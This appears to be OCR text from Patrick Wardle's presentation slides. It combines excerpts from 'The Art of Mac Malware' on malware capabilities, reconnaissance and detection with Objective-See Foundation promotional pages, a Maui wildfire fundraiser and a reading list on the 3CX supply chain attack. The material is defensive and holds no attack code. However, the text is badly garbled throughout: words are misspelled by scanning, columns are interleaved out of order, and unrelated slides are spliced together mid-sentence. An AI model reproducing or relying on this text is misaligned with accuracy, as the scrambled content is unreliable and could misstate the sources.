capabilities that seek 10 help the malware author profie, perhaps by display VO lu m e I I * D eteCtI 0 n
ing ads, hijacking search results, mining cryptocurrency, or encrypeing user
files for ransom. Adware falls into this category, as it's designed 1o surrepth
/ W
o "'
»y

and malware can be rather nuanced, and in many cases arguably impercen-

able. As sach, here, we won't differentiate between the two,) Ana|y2|ng maIWare IS Only half the battle Detectlng malICIOUS COde In the fIrSt
B0 i i e B s it place, is the other essential piece!

more comprehensive cagabilities, perhaps featuring the abilisy to recoed
audso off the system microphone or expose an imeractive shell o allow a
remote attacker to execute arbitrary commands.

Of course, there are overlaps in the capabilities of these two broad case
gories. For example, the abilicy to download and execute arbitrary binaries is

toualy generate revenue for ity creator, (The difference between adware
¥

Volume | detailed the infection vectors, persistence mechanisms, and internals of
Mac malware, providing the reader with comprehensive understanding of, well,

g J an appealing capability 1o most mahware authors, as it provides the means 1o . .
: H N -4 " I cither update or dymamically expand their malicious creations (Figure 3-1) What MaC malware "|OOkS ||ke.“ NOW We'l'e ready tO dISCUSS exaCtly hOW tO
mB EUIdB fo Analyzmg MHIICIUUS Sﬂftwaf B o programmatically detect such malicious code.

INTRODUCTION

B G B

28 0a 2 i

Crimnal I| Survers Korogprg Video cophre "r tig-raze

The second volume of the "The Art of Mac Malware" is a comprehensive
resource that covers the programmatic detection of macOS malware code via
behavioral-based heuristics.

Do Macs even get malware? If we're to

ﬁ c......,..“‘é_. , y Armed with topics and approaches covered in this second volume, Mac malware
believe an Apple marketing claim once ~ >

doesn't stand a chance!

posted on Apple.com, apparently, no: e 3 A o . I BT
[ Mac] doesn’t get PC viruses, A Mac lsn's susceptible 10 the
thousands of viewses plaguing Windows-based companers. Thae's
thanks 10 builvin defonses in Mac OS X that keep you safie with- Survey and Reconnaissance
ot any work om your part.' In both crime-oriented and espionage-oriented malware, we often find
Of course, this statement was rather deceptive and to Apple’s credit logic devigned 1o conduct surveys or reconnaissance of 2 system’s enwiron-

ment, for two main reasons. Finst, this gives the malware insight into it
surroundings, which may drive subsequent decisions, For example, mal-
ware may choose not to persistently infoct 2 system if it detects third-party
security wols. Or, if it finds iself running with monecoot privileges, it may
attemga 1o escalate its privileges (or perhaps simply skip actions that require
such rights). Thus, the malware often executes reconnaissance bogic before
any other malicsous actions are taken

Second, malware may transmit the survey information it collects back
10 the atacker’s command and control server, where the attacker may use
it 0o uniquely identify the infected system (ussally by finding some sytem-
specific unique identifier) or infected ¢ s of interest. In

has loag been removed from their webasite, Suse, there may be a kernel of
truth in it due 1o inberent cross-platform incompatibilities (not Apple’s
“defenses”), a native Windows virus cannot typically execute on macOS, But
cross-platform mabware has long targeted both Windows and macOS. Foe
example, in 2009 Windows adware was found packaged with a crossplatform
framework that allowed it 1o run on macOS.*

Regardiess of any marketing claims, Apple and malware have a long
history of coexisting. In fact, Elk Cloner, the first "wild virus for a home

Ll v

Patrick Wardle

press

"The Art of Mac Malware"
free @ https://taomm.orqg




Objective-See Foundation 501 (c) (3)

learn more our community efforts ...& support us! &
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#OBTS Conference College Scholarships Diversity Programs
("Objective-We")

The Objective-See Foundation
objective-see.org/about.html



OBJECTIVE-SEE FOUNDATION FUNDRAISER
Maul wildfire relief fund

Maui Wildfire Relief Fund

Latest News:

&« New Video:
Watch What is #OBTS?

“X Tool Update (KnockKnock):
Just released KnockKnock v2.4.2

7 New Blog Post:
Read: "LockBit ransomware comes for macOS"

@ #OBTS v6.0
Just announced #OBTS v6.0

|
| Our home, Maui, was recently devastated by fires. Many of our friends and |
| neighbors lost everything. We're raising money to help them!

Please consider making a donation via our fundraiser J, t;
N

S

To help: objective-see.org A



Mahalo to the "Friends of Objective-See"

4

A jamf kandii

&) sopHos |- mosyle

A CleanMyMac X

SmugMug Guardian Mobile Firewall



Mac-1ng Sense of the
3CX Supply Chain Attack

RESOURCES :

"Ironing out (the macOS) details of a Smooth Operator" (Part I & II)"
objective-see.org/blog/blog 0x73.html / objective-see.org/blog/blog 0x74.html

"Smooth Operator"
ncsc.gov.uk/static-assets/documents/malware-analysis-reports/smooth-operator/NCSC MAR-Smooth-Operator.pdf

"Active Intrusion Campaign Targeting 3CXDesktopApp Customers"

crowdstrike.com/blog/crowdstrike-detects—-and-prevents—-active-intrusion-campaign-targeting-3cxdesktopapp-customers

"3CX Software Supply Chain Compromise Initiated by a Prior Software Supply Chain Compromise"

mandiant.com/resources/blog/3cx-software-supply-chain-compromise

"Red flags flew over software supply chain-compromised 3CX update"
reversinglabs.com/blog/red-flags-fly-over-supply-chain-compromised-3cx-update



